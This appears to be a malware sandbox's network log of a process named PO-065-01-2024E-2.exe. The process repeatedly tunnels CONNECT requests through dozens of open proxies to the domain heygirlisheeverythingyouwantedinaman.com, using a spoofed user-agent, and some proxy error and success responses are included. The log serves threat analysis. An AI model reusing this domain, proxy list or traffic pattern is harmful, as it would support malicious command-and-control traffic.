Mar 11, 2024 16:40:03.207947969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.207608938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.207532883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.225718021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:03.238776922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:51.269931078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.10	54064	122.116.150.2	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.070554018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.10	52791	93.175.194.154	3629	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.070947886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.10	52679	122.114.232.137	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.071937084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.10	52822	195.138.73.54	44017	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.073251009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.207669020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.208256960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.208024025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.207652092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.211540937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.10	54025	74.118.80.244	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.075894117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.10	54073	37.235.53.208	6789	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.076881886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.387021065 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.10	54086	130.162.213.175	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.077338934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.524890900 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.10	54074	91.134.140.160	56495	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.077979088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.767134905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.10	54063	176.118.52.129	3629	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.078162909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.10	54089	213.136.79.177	5189	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.078306913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.767138004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.801877975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.708029032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.410973072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.192826033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.911000013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.412014008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.099548101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.10	54059	193.124.189.13	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.078404903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.419006109 CET	361	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 150 Connection: close X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.10	54026	103.163.51.254	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.080600023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.10	54091	78.28.152.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.080838919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.767203093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.802108049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.894140005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.778119087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.707855940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.614377022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.470397949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.098150015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:54.087842941 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:53 GMT Server: Apache/2.4.57 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.10	54009	45.125.222.97	47239	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.083668947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.984489918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.10	54121	58.234.116.197	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.092247009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.10	54085	178.251.111.27	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.094947100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973292112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176776886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.286329985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489211082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.990245104 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.10	54141	159.89.138.130	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.097326040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.269687891 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.10	54118	177.67.136.241	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.104784966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.10	53558	45.11.95.166	6008	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
